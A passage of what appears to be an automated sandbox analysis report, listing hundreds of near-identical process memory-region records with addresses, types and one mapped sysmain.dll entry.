start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9066 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9067 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9068 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9069 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9070 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9071 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9072 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9073 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9074 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9075 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9076 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9077 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9078 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9079 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9080 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9081 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9082 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9083 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9084 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9089 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9090 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9091 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9092 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9093 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9094 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9095 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9096 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9097 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9098 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9099 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9100 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9101 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9102 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9103 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9104 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9105 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9106 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9107 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9108 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9109 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9110 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9111 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9112 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9113 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9114 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9115 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9116 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9117 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9118 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9119 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9120 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9121 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9122 start_va = 0x1b8c0000 end_va = 0x1b8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9123 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8c0000" filename = "" Region: id = 9124 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9125 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8d0000" filename = "" Region: id = 9126 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9127 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8e0000" filename = "" Region: id = 9128 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9129 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b8f0000" filename = "" Region: id = 9130 start_va = 0x1b940000 end_va = 0x1b971fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9131 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b940000" filename = "" Region: id = 9132 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9133 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b950000" filename = "" Region: id = 9134 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9135 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b960000" filename = "" Region: id = 9136 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9137 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9138 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b970000" filename = "" Region: id = 9139 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9140 start_va = 0x1b9a0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b9a0000" filename = "" Region: id = 9141 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9142 start_va = 0x1b9b0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b9b0000" filename = "" Region: id = 9143 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9144 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9145 start_va = 0x1dae0000 end_va = 0x1db11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dae0000" filename = "" Region: id = 9146 start_va = 0x1ba30000 end_va = 0x1ba33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9147 start_va = 0x7ffa6f1a0000 end_va = 0x7ffa6f2adfff monitored = 0 entry_point = 0x7ffa6f207960 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 9148 start_va = 0x1ebb0000 end_va = 0x1ecaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ebb0000" filename = "" Region: id = 9194 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9195 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9196 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9197 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9198 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9199 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9200 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9203 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9204 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9205 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9206 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9207 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9208 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9209 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9211 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9213 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9214 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9215 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9217 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9218 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9219 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9220 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9221 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9222 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9223 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9225 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9226 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9227 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9229 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9230 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9231 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9233 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9234 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9235 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9236 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9238 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9239 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9240 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9242 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9244 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9246 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9247 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9248 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9249 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9250 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9251 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9253 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9254 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9255 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9256 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9257 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9258 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 9260 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 9261 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 9262 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 9263 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db00000" filename = "" Region: id = 9265 start_va = 0x1db10000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db10000" filename = "" Region: id = 9266 start_va = 0x1db90000 end_va = 0x1dbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db90000" filename = "" Region: id = 9267 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db30000" filename = "" Region: id = 9268 start_va = 0x1dbc0000 end_va = 0x1dbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbc0000" filename = "" Region: id = 9269 start_va = 0x1dbd0000 end_va = 0x1dbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbd0000" filename = "" Region: id = 9271 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9272 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9273 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9275 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9276 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9277 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9278 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9279 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9280 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9281 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9282 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9283 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9284 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9287 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9288 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9289 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9291 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9292 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9293 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9295 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9296 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9297 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9299 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9300 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9301 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9302 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9303 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 9305 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9306 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9307 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9d0000" filename = "" Region: id = 9308 start_va = 0x1b9e0000 end_va = 0x1b9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9e0000" filename = "" Region: id = 9309 start_va = 0x1b9f0000 end_va = 0x1b9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9f0000" filename = "" Region: id = 9312 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 9313 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 9314 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 9315 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 9316 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 9317 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 9318 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 9319 start_va = 0x1b9c0000 end_va = 0x1b9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9c0000" filename = "" Region: id = 9322 start_va = 0x1b9d0000 end_va = 0x1b9dffff monitored = 1 entry_point = 0x0 region_type = private name = 